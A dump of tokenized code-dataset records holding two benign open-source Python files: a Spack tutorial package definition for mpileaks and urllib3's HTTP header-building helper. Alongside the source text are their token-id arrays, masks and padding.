[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
matthiasdiener/spack
lib/spack/docs/tutorial/examples/1.package.py
5
1759
############################################################################## # Copyright (c) 2013-2018, Lawrence Livermore National Security, LLC. # Produced at the Lawrence Livermore National Laboratory. # # This file is part of Spack. # Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. # LLNL-CODE-647188 # # For details, see https://github.com/spack/spack # Please also see the NOTICE and LICENSE files for our notice and the LGPL. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License (as # published by the Free Software Foundation) version 2.1, February 1999. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and # conditions of the GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ############################################################################## from spack import * class Mpileaks(Package): """Tool to detect and report MPI objects like MPI_Requests and MPI_Datatypes.""" homepage = "https://github.com/hpc/mpileaks" url = "https://github.com/hpc/mpileaks/releases/download/v1.0/mpileaks-1.0.tar.gz" # NOQA version('1.0', '8838c574b39202a57d7c2d68692718aa') # FIXME: Add dependencies if required. # depends_on('foo') def install(self, spec, prefix): # FIXME: Unknown build system make() make('install')
lgpl-2.1
[ 4605, 199, 3, 1898, 334, 67, 9, 6171, 13, 12682, 12, 7964, 29590, 491, 4380, 6878, 20548, 13863, 12, 20376, 14, 199, 3, 2165, 16584, 737, 314, 7964, 29590, 491, 4380, 6878, 20548, 16871, 31671, 14, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 428, 1389, 14, 199, 3, 18208, 701, 377, 16216, 598, 11020, 472, 12, 22387, 11020, 472, 32, 914, 7530, 14, 16294, 12, 2900, 4481, 4644, 14, 199, 3, 491, 44, 14176, 13, 6012, 13, 8557, 11501, 199, 3, 199, 3, 2104, 2436, 12, 1937, 4178, 921, 5031, 14, 957, 15, 83, 1389, 15, 83, 1389, 199, 3, 7754, 2597, 1937, 314, 12840, 436, 5113, 1584, 367, 4154, 4245, 436, 314, 32426, 14, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 844, 334, 305, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 9, 1015, 499, 14, 17, 12, 21141, 26709, 21300, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 199, 3, 2428, 1821, 3408, 27, 1928, 2755, 314, 5292, 3408, 1634, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 1666, 314, 2895, 436, 199, 3, 3704, 402, 314, 1664, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 15673, 13, 13421, 8217, 199, 4605, 199, 504, 308, 1389, 492, 627, 421, 199, 533, 603, 80, 441, 14631, 8, 8599, 304, 272, 408, 5157, 370, 9696, 436, 3622, 26024, 2251, 2839, 26024, 63, 16272, 436, 272, 26024, 63, 28369, 8588, 83, 1041, 339, 26586, 275, 298, 2859, 921, 5031, 14, 957, 15, 72, 2352, 15, 311, 441, 14631, 2, 272, 1166, 420, 275, 298, 2859, 921, 5031, 14, 957, 15, 72, 2352, 15, 311, 441, 14631, 15, 11840, 15, 4249, 15, 86, 17, 14, 16, 15, 311, 441, 14631, 13, 17, 14, 16, 14, 5369, 14, 6838, 2, 221, 327, 20432, 272, 1015, 360, 17, 14, 16, 297, 283, 1299, 1703, 67, 10950, 66, 1355, 4999, 65, 1641, 68, 23, 67, 18, 68, 10253, 31981, 1085, 2158, 358, 339, 327, 7600, 26, 2654, 5124, 340, 1415, 14, 272, 327, 8350, 63, 265, 360, 1421, 358, 339, 347, 3907, 8, 277, 12, 3158, 12, 2403, 304, 267, 327, 7600, 26, 14831, 1900, 2656, 267, 1852, 342, 267, 1852, 360, 3174, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3, 1898, 334, 67, 9, 6171, 13, 12682, 12, 7964, 29590, 491, 4380, 6878, 20548, 13863, 12, 20376, 14, 199, 3, 2165, 16584, 737, 314, 7964, 29590, 491, 4380, 6878, 20548, 16871, 31671, 14, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 428, 1389, 14, 199, 3, 18208, 701, 377, 16216, 598, 11020, 472, 12, 22387, 11020, 472, 32, 914, 7530, 14, 16294, 12, 2900, 4481, 4644, 14, 199, 3, 491, 44, 14176, 13, 6012, 13, 8557, 11501, 199, 3, 199, 3, 2104, 2436, 12, 1937, 4178, 921, 5031, 14, 957, 15, 83, 1389, 15, 83, 1389, 199, 3, 7754, 2597, 1937, 314, 12840, 436, 5113, 1584, 367, 4154, 4245, 436, 314, 32426, 14, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 844, 334, 305, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 9, 1015, 499, 14, 17, 12, 21141, 26709, 21300, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 199, 3, 2428, 1821, 3408, 27, 1928, 2755, 314, 5292, 3408, 1634, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 1666, 314, 2895, 436, 199, 3, 3704, 402, 314, 1664, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 15673, 13, 13421, 8217, 199, 4605, 199, 504, 308, 1389, 492, 627, 421, 199, 533, 603, 80, 441, 14631, 8, 8599, 304, 272, 408, 5157, 370, 9696, 436, 3622, 26024, 2251, 2839, 26024, 63, 16272, 436, 272, 26024, 63, 28369, 8588, 83, 1041, 339, 26586, 275, 298, 2859, 921, 5031, 14, 957, 15, 72, 2352, 15, 311, 441, 14631, 2, 272, 1166, 420, 275, 298, 2859, 921, 5031, 14, 957, 15, 72, 2352, 15, 311, 441, 14631, 15, 11840, 15, 4249, 15, 86, 17, 14, 16, 15, 311, 441, 14631, 13, 17, 14, 16, 14, 5369, 14, 6838, 2, 221, 327, 20432, 272, 1015, 360, 17, 14, 16, 297, 283, 1299, 1703, 67, 10950, 66, 1355, 4999, 65, 1641, 68, 23, 67, 18, 68, 10253, 31981, 1085, 2158, 358, 339, 327, 7600, 26, 2654, 5124, 340, 1415, 14, 272, 327, 8350, 63, 265, 360, 1421, 358, 339, 347, 3907, 8, 277, 12, 3158, 12, 2403, 304, 267, 327, 7600, 26, 14831, 1900, 2656, 267, 1852, 342, 267, 1852, 360, 3174, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
rjhunter8285/nsc-cloudproject-s22016
prototype/api/FlaskApp/FlaskApp/python_modules/requests/packages/urllib3/util/request.py
780
2128
from __future__ import absolute_import from base64 import b64encode from ..packages.six import b ACCEPT_ENCODING = 'gzip,deflate' def make_headers(keep_alive=None, accept_encoding=None, user_agent=None, basic_auth=None, proxy_basic_auth=None, disable_cache=None): """ Shortcuts for generating request headers. :param keep_alive: If ``True``, adds 'connection: keep-alive' header. :param accept_encoding: Can be a boolean, list, or string. ``True`` translates to 'gzip,deflate'. List will get joined by comma. String will be used as provided. :param user_agent: String representing the user-agent you want, such as "python-urllib3/0.6" :param basic_auth: Colon-separated username:password string for 'authorization: basic ...' auth header. :param proxy_basic_auth: Colon-separated username:password string for 'proxy-authorization: basic ...' auth header. :param disable_cache: If ``True``, adds 'cache-control: no-cache' header. Example:: >>> make_headers(keep_alive=True, user_agent="Batman/1.0") {'connection': 'keep-alive', 'user-agent': 'Batman/1.0'} >>> make_headers(accept_encoding=True) {'accept-encoding': 'gzip,deflate'} """ headers = {} if accept_encoding: if isinstance(accept_encoding, str): pass elif isinstance(accept_encoding, list): accept_encoding = ','.join(accept_encoding) else: accept_encoding = ACCEPT_ENCODING headers['accept-encoding'] = accept_encoding if user_agent: headers['user-agent'] = user_agent if keep_alive: headers['connection'] = 'keep-alive' if basic_auth: headers['authorization'] = 'Basic ' + \ b64encode(b(basic_auth)).decode('utf-8') if proxy_basic_auth: headers['proxy-authorization'] = 'Basic ' + \ b64encode(b(proxy_basic_auth)).decode('utf-8') if disable_cache: headers['cache-control'] = 'no-cache' return headers
apache-2.0
[ 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 1300, 772, 492, 330, 772, 2143, 199, 199, 504, 2508, 5154, 14, 4174, 492, 330, 199, 199, 13089, 63, 16314, 275, 283, 12256, 12, 20902, 7, 421, 199, 318, 1852, 63, 2139, 8, 3250, 63, 9631, 29, 403, 12, 4729, 63, 2991, 29, 403, 12, 922, 63, 4054, 29, 403, 12, 326, 5678, 63, 1178, 29, 403, 12, 4566, 63, 4316, 63, 1178, 29, 403, 12, 3507, 63, 1637, 29, 403, 304, 272, 408, 272, 20124, 12946, 367, 12999, 1056, 2323, 14, 339, 520, 635, 4215, 63, 9631, 26, 267, 982, 1124, 549, 4542, 9584, 283, 2105, 26, 4215, 13, 9631, 7, 1406, 14, 339, 520, 635, 4729, 63, 2991, 26, 267, 6855, 506, 282, 5046, 12, 769, 12, 503, 1059, 14, 267, 1124, 549, 1040, 9028, 83, 370, 283, 12256, 12, 20902, 1370, 267, 3820, 911, 664, 16538, 701, 10029, 14, 267, 2624, 911, 506, 1202, 465, 2741, 14, 339, 520, 635, 922, 63, 4054, 26, 267, 2624, 6144, 314, 922, 13, 4054, 1265, 2934, 12, 4066, 465, 267, 298, 1548, 13, 4078, 19, 15, 16, 14, 22, 2, 339, 520, 635, 5678, 63, 1178, 26, 267, 3626, 265, 13, 12794, 3434, 26, 2060, 1059, 367, 283, 15846, 26, 5678, 2263, 7, 267, 1790, 1406, 14, 339, 520, 635, 4566, 63, 4316, 63, 1178, 26, 267, 3626, 265, 13, 12794, 3434, 26, 2060, 1059, 367, 283, 3280, 13, 15846, 26, 5678, 2263, 7, 267, 1790, 1406, 14, 339, 520, 635, 3507, 63, 1637, 26, 267, 982, 1124, 549, 4542, 9584, 283, 1637, 13, 2785, 26, 949, 13, 1637, 7, 1406, 14, 339, 5679, 447, 398, 1306, 1852, 63, 2139, 8, 3250, 63, 9631, 29, 549, 12, 922, 63, 4054, 628, 34, 292, 1237, 15, 17, 14, 16, 531, 267, 791, 2105, 356, 283, 3250, 13, 9631, 297, 283, 751, 13, 4054, 356, 283, 34, 292, 1237, 15, 17, 14, 16, 936, 267, 1306, 1852, 63, 2139, 8, 5694, 63, 2991, 29, 549, 9, 267, 791, 5694, 13, 2991, 356, 283, 12256, 12, 20902, 936, 272, 408, 272, 2323, 275, 1052, 272, 340, 4729, 63, 2991, 26, 267, 340, 1228, 8, 5694, 63, 2991, 12, 620, 304, 288, 986, 267, 916, 1228, 8, 5694, 63, 2991, 12, 769, 304, 288, 4729, 63, 2991, 275, 12814, 904, 8, 5694, 63, 2991, 9, 267, 587, 26, 288, 4729, 63, 2991, 275, 28538, 63, 16314, 267, 2323, 459, 5694, 13, 2991, 418, 275, 4729, 63, 2991, 339, 340, 922, 63, 4054, 26, 267, 2323, 459, 751, 13, 4054, 418, 275, 922, 63, 4054, 339, 340, 4215, 63, 9631, 26, 267, 2323, 459, 2105, 418, 275, 283, 3250, 13, 9631, 7, 339, 340, 5678, 63, 1178, 26, 267, 2323, 459, 15846, 418, 275, 283, 6845, 283, 435, 971, 288, 330, 772, 2143, 8, 66, 8, 4316, 63, 1178, 4992, 2708, 360, 1624, 13, 24, 358, 339, 340, 4566, 63, 4316, 63, 1178, 26, 267, 2323, 459, 3280, 13, 15846, 418, 275, 283, 6845, 283, 435, 971, 288, 330, 772, 2143, 8, 66, 8, 3280, 63, 4316, 63, 1178, 4992, 2708, 360, 1624, 13, 24, 358, 339, 340, 3507, 63, 1637, 26, 267, 2323, 459, 1637, 13, 2785, 418, 275, 283, 889, 13, 1637, 7, 339, 372, 2323, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 1300, 772, 492, 330, 772, 2143, 199, 199, 504, 2508, 5154, 14, 4174, 492, 330, 199, 199, 13089, 63, 16314, 275, 283, 12256, 12, 20902, 7, 421, 199, 318, 1852, 63, 2139, 8, 3250, 63, 9631, 29, 403, 12, 4729, 63, 2991, 29, 403, 12, 922, 63, 4054, 29, 403, 12, 326, 5678, 63, 1178, 29, 403, 12, 4566, 63, 4316, 63, 1178, 29, 403, 12, 3507, 63, 1637, 29, 403, 304, 272, 408, 272, 20124, 12946, 367, 12999, 1056, 2323, 14, 339, 520, 635, 4215, 63, 9631, 26, 267, 982, 1124, 549, 4542, 9584, 283, 2105, 26, 4215, 13, 9631, 7, 1406, 14, 339, 520, 635, 4729, 63, 2991, 26, 267, 6855, 506, 282, 5046, 12, 769, 12, 503, 1059, 14, 267, 1124, 549, 1040, 9028, 83, 370, 283, 12256, 12, 20902, 1370, 267, 3820, 911, 664, 16538, 701, 10029, 14, 267, 2624, 911, 506, 1202, 465, 2741, 14, 339, 520, 635, 922, 63, 4054, 26, 267, 2624, 6144, 314, 922, 13, 4054, 1265, 2934, 12, 4066, 465, 267, 298, 1548, 13, 4078, 19, 15, 16, 14, 22, 2, 339, 520, 635, 5678, 63, 1178, 26, 267, 3626, 265, 13, 12794, 3434, 26, 2060, 1059, 367, 283, 15846, 26, 5678, 2263, 7, 267, 1790, 1406, 14, 339, 520, 635, 4566, 63, 4316, 63, 1178, 26, 267, 3626, 265, 13, 12794, 3434, 26, 2060, 1059, 367, 283, 3280, 13, 15846, 26, 5678, 2263, 7, 267, 1790, 1406, 14, 339, 520, 635, 3507, 63, 1637, 26, 267, 982, 1124, 549, 4542, 9584, 283, 1637, 13, 2785, 26, 949, 13, 1637, 7, 1406, 14, 339, 5679, 447, 398, 1306, 1852, 63, 2139, 8, 3250, 63, 9631, 29, 549, 12, 922, 63, 4054, 628, 34, 292, 1237, 15, 17, 14, 16, 531, 267, 791, 2105, 356, 283, 3250, 13, 9631, 297, 283, 751, 13, 4054, 